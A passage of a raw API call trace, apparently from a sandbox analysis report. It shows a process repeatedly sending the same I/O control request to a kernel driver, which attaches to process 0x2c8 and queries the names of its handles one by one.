ObfDereferenceObject (Object=0xfffffa80032f2ac0) returned 0x12 [0069.252] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.252] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.252] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.252] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0069.252] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.252] PsAcquireProcessExitSynchronization () returned 0x0 [0069.252] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.252] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032f5650, HandleInformation=0x0) returned 0x0 [0069.252] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.252] PsReleaseProcessExitSynchronization () returned 0x2 [0069.252] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.252] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019da044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80019da044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.252] ObfDereferenceObject (Object=0xfffffa80032f5650) returned 0x12 [0069.252] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.252] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.252] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.252] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xfe, lpOverlapped=0x0) returned 1 [0069.252] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.252] PsAcquireProcessExitSynchronization () returned 0x0 [0069.252] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.253] ObReferenceObjectByHandle (in: Handle=0x4f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003309490, HandleInformation=0x0) returned 0x0 [0069.253] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.253] PsReleaseProcessExitSynchronization () returned 0x2 [0069.253] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.253] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.253] ObfDereferenceObject (Object=0xfffffa8003309490) returned 0x12 [0069.253] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.253] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.253] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.253] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x11a, lpOverlapped=0x0) returned 1 [0069.253] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.253] PsAcquireProcessExitSynchronization () returned 0x0 [0069.253] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.253] ObReferenceObjectByHandle (in: Handle=0x4fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032cf510, HandleInformation=0x0) returned 0x0 [0069.253] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.253] PsReleaseProcessExitSynchronization () returned 0x2 [0069.253] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.253] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.253] ObfDereferenceObject (Object=0xfffffa80032cf510) returned 0x12 [0069.253] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.253] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.253] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.253] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0069.253] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.253] PsAcquireProcessExitSynchronization () returned 0x0 [0069.253] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.253] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80028daaa0, HandleInformation=0x0) returned 0x0 [0069.253] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.253] PsReleaseProcessExitSynchronization () returned 0x2 [0069.253] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.253] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.253] ObfDereferenceObject (Object=0xfffffa80028daaa0) returned 0x12 [0069.253] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.254] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.254] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.254] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xc4, lpOverlapped=0x0) returned 1 [0069.254] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.254] PsAcquireProcessExitSynchronization () returned 0x0 [0069.254] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.254] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80034da620, HandleInformation=0x0) returned 0x0 [0069.254] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.254] PsReleaseProcessExitSynchronization () returned 0x2 [0069.254] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.254] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.254] ObfDereferenceObject (Object=0xfffffa80034da620) returned 0x12 [0069.254] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.254] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.254] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.254] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0069.254] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.254] PsAcquireProcessExitSynchronization () returned 0x0 [0069.254] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.254] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002861f20, HandleInformation=0x0) returned 0x0 [0069.254] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.254] PsReleaseProcessExitSynchronization () returned 0x2 [0069.254] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.254] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.254] ObfDereferenceObject (Object=0xfffffa8002861f20) returned 0x13 [0069.254] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.254] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.254] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.254] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xd6, lpOverlapped=0x0) returned 1 [0069.254] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.254] PsAcquireProcessExitSynchronization () returned 0x0 [0069.254] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.255] ObReferenceObjectByHandle (in: Handle=0x544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80034702c0, HandleInformation=0x0) returned 0x0 [0069.255] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.255] PsReleaseProcessExitSynchronization () returned 0x2 [0069.255] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.255] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.255] ObfDereferenceObject (Object=0xfffffa80034702c0) returned 0x20 [0069.255] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.255] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.255] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.255] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0069.255] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.255] PsAcquireProcessExitSynchronization () returned 0x0 [0069.255] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.255] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003b112c0, HandleInformation=0x0) returned 0x0 [0069.255] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.255] PsReleaseProcessExitSynchronization () returned 0x2 [0069.255] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.255] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.255] ObfDereferenceObject (Object=0xfffffa8003b112c0) returned 0x6 [0069.255] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.255] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.255] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.255] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x118, lpOverlapped=0x0) returned 1 [0069.255] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.255] PsAcquireProcessExitSynchronization () returned 0x0 [0069.255] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.255] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003129f20, HandleInformation=0x0) returned 0x0 [0069.255] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.255] PsReleaseProcessExitSynchronization () returned 0x2 [0069.255] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.256] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.256] ObfDereferenceObject (Object=0xfffffa8003129f20) returned 0x12 [0069.256] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.256] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.256] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.256] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0069.256] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.256] PsAcquireProcessExitSynchronization () returned 0x0 [0069.256] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.256] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f8f7d0, HandleInformation=0x0) returned 0x0 [0069.256] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.256] PsReleaseProcessExitSynchronization () returned 0x2 [0069.256] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.256] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.256] ObfDereferenceObject (Object=0xfffffa8002f8f7d0) returned 0x12 [0069.256] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.256] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.256] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.256] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0069.256] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.256] PsAcquireProcessExitSynchronization () returned 0x0 [0069.256] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.256] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800345b610, HandleInformation=0x0) returned 0x0 [0069.256] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.256] PsReleaseProcessExitSynchronization () returned 0x2 [0069.256] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.256] ObQueryNameString (in: Object=0xfffffa800345b610, ObjectNameInfo=0xfffffa800399e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800399e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.256] ObfDereferenceObject (Object=0xfffffa800345b610) returned 0x2 [0069.256] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.256] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.256] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.257] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0069.257] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.257] PsAcquireProcessExitSynchronization () returned 0x0 [0069.257] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.257] ObReferenceObjectByHandle (in: Handle=0x638, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800348c8d0, HandleInformation=0x0) returned 0x0 [0069.257] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.257] PsReleaseProcessExitSynchronization () returned 0x2 [0069.257] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.257] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800399d044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800399d044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.257] ObfDereferenceObject (Object=0xfffffa800348c8d0) returned 0x6 [0069.257] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.257] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.257] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.257] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0069.257] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.257] PsAcquireProcessExitSynchronization () returned 0x0 [0069.257] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.257] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0069.257] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.257] PsReleaseProcessExitSynchronization () returned 0x2 [0069.257] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.257] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa800399c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800399c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.257] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0x9 [0069.257] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.257] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.257] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.257] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0069.257] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.257] PsAcquireProcessExitSynchronization () returned 0x0 [0069.257] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.257] ObReferenceObjectByHandle (in: Handle=0x678, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80018f9ca0, HandleInformation=0x0) returned 0x0 [0069.257] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.257] PsReleaseProcessExitSynchronization () returned 0x2 [0069.258] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.258] ObQueryNameString (in: Object=0xfffffa80018f9ca0, ObjectNameInfo=0xfffffa800399b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800399b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.258] ObfDereferenceObject (Object=0xfffffa80018f9ca0) returned 0x1 [0069.258] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.258] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.258] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.258] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe6, lpOverlapped=0x0) returned 1 [0069.258] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.258] PsAcquireProcessExitSynchronization () returned 0x0 [0069.258] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.258] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019453e0, HandleInformation=0x0) returned 0x0 [0069.258] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.258] PsReleaseProcessExitSynchronization () returned 0x2 [0069.258] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.258] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800399a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800399a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.258] ObfDereferenceObject (Object=0xfffffa80019453e0) returned 0x1 [0069.258] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.258] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.258] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.258] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0069.258] PsLookupProcessByProcessId (in: 